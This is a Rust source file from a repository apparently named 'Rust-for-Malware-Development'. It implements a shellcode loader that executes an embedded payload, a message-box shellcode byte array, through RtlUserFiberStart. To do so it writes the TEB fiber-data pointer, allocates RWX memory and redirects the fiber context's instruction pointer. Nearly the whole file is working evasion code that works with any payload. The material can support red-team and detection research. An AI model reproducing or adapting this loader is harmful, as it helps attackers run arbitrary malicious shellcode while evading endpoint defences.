Files
Whitecat18 28e7fac1d3 Upload
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
2026-06-06 14:53:10 +05:30

140 lines
5.2 KiB
Rust

/*
Shellcode exec using RtlUserFiberStart
By @5mukx
Reference used to make the structure :
* https://github.com/MSxDOS/ntapi/blob/master/src/winapi_local/um/winnt.rs
*/
use windows::{
Win32::{
Foundation::GetLastError,
System::{
LibraryLoader::{GetModuleHandleA, GetProcAddress},
Memory::{
GetProcessHeap, HEAP_FLAGS, HeapAlloc, HeapFree, MEM_COMMIT, MEM_RELEASE,
PAGE_EXECUTE_READWRITE, VirtualAlloc, VirtualFree,
},
},
},
core::{Error, Result, s},
};
use windows::Win32::System::Threading::TEB;
type RtlUserFiberStartFn = unsafe extern "system" fn() -> i32;
// msgbox shellcode
static SHELLCODE: &[u8] = &[
0xFC, 0x48, 0x81, 0xE4, 0xF0, 0xFF, 0xFF, 0xFF, 0xE8, 0xD0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41,
0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x3E, 0x48, 0x8B, 0x52,
0x18, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E, 0x48, 0x8B, 0x72, 0x50, 0x3E, 0x48, 0x0F, 0xB7, 0x4A,
0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1,
0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x3E, 0x48, 0x8B, 0x52, 0x20, 0x3E,
0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x3E, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0,
0x74, 0x6F, 0x48, 0x01, 0xD0, 0x50, 0x3E, 0x8B, 0x48, 0x18, 0x3E, 0x44, 0x8B, 0x40, 0x20, 0x49,
0x01, 0xD0, 0xE3, 0x5C, 0x48, 0xFF, 0xC9, 0x3E, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D,
0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75,
0xF1, 0x3E, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD6, 0x58, 0x3E, 0x44, 0x8B,
0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x3E, 0x41, 0x8B, 0x0C, 0x48, 0x3E, 0x44, 0x8B, 0x40, 0x1C,
0x49, 0x01, 0xD0, 0x3E, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E,
0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0,
0x58, 0x41, 0x59, 0x5A, 0x3E, 0x48, 0x8B, 0x12, 0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x3E, 0x48,
0x8D, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x49, 0xC7,
0xC1, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x48, 0x8D, 0x95, 0x0E, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83, 0x56, 0x07, 0xFF, 0xD5,
0x48, 0x31, 0xC9, 0x41, 0xBA, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x65, 0x79, 0x20, 0x6D,
0x61, 0x6E, 0x2E, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6D, 0x65, 0x20, 0x53, 0x6D, 0x75, 0x6B, 0x78,
0x00, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x2D, 0x6B, 0x6E, 0x6F, 0x63, 0x6B, 0x00, 0x75, 0x73, 0x65,
0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00,
];
const TEB_FIBERDATA_PTR_OFFSET: usize = 0x20;
const FIBER_CONTEXT_RIP_OFFSET: usize = 0x0A8;
const HAS_FIBER_DATA_BIT: u8 = 0b100;
#[inline]
fn get_teb() -> *mut TEB {
#[cfg(target_arch = "x86_64")]
{
let teb: *mut TEB;
unsafe { std::arch::asm!("mov {}, gs:[0x30]", out(reg) teb) };
teb
}
#[cfg(target_arch = "x86")]
{
let teb: *mut TEB;
std::arch::asm!("mov {}, fs:[0x18]", out(reg) teb);
teb
}
}
fn main() -> Result<()> {
unsafe {
let ntdll = GetModuleHandleA(s!("ntdll"))?;
if ntdll.is_invalid() {
return Err(Error::from(GetLastError()));
}
let rtl_user_fiber_start = GetProcAddress(ntdll, s!("RtlUserFiberStart"))
.expect("[-] Failed to get RtlUserFiberStart addr");
let teb = get_teb();
if teb.is_null() {
return Err(windows::core::Error::from(GetLastError()));
}
// Set the has fiberdata bit in TEB flags
let teb_flags = (teb as *mut u8).add(TEB_FIBERDATA_PTR_OFFSET);
*teb_flags |= HAS_FIBER_DATA_BIT;
let addr = VirtualAlloc(None, SHELLCODE.len(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if addr.is_null() {
return Err(windows::core::Error::from(GetLastError()));
}
std::ptr::copy_nonoverlapping(SHELLCODE.as_ptr(), addr as *mut u8, SHELLCODE.len());
// allocate fiber datas !
let fiber_data = HeapAlloc(GetProcessHeap()?, HEAP_FLAGS(0), 0x100);
if fiber_data.is_null() {
VirtualFree(addr, 0, MEM_RELEASE)?;
return Err(Error::from(GetLastError()));
}
// Set shellcode address at fiber context RIP offset
*(fiber_data as *mut *mut std::ffi::c_void).add(FIBER_CONTEXT_RIP_OFFSET / 8) = addr;
// set fiberdata ptr in TEB (GS:0x20)
#[cfg(target_arch = "x86_64")]
{
std::arch::asm!(
"mov gs:[0x20], {}",
in(reg) fiber_data,
options(nostack)
);
}
let rtl_user_fiber_start_fn: RtlUserFiberStartFn =
std::mem::transmute(rtl_user_fiber_start);
let status = rtl_user_fiber_start_fn();
HeapFree(GetProcessHeap()?, HEAP_FLAGS(0), Some(fiber_data))?;
VirtualFree(addr, 0, MEM_RELEASE)?;
if status != 0 {
return Err(windows::core::Error::from(GetLastError()));
}
}
Ok(())
}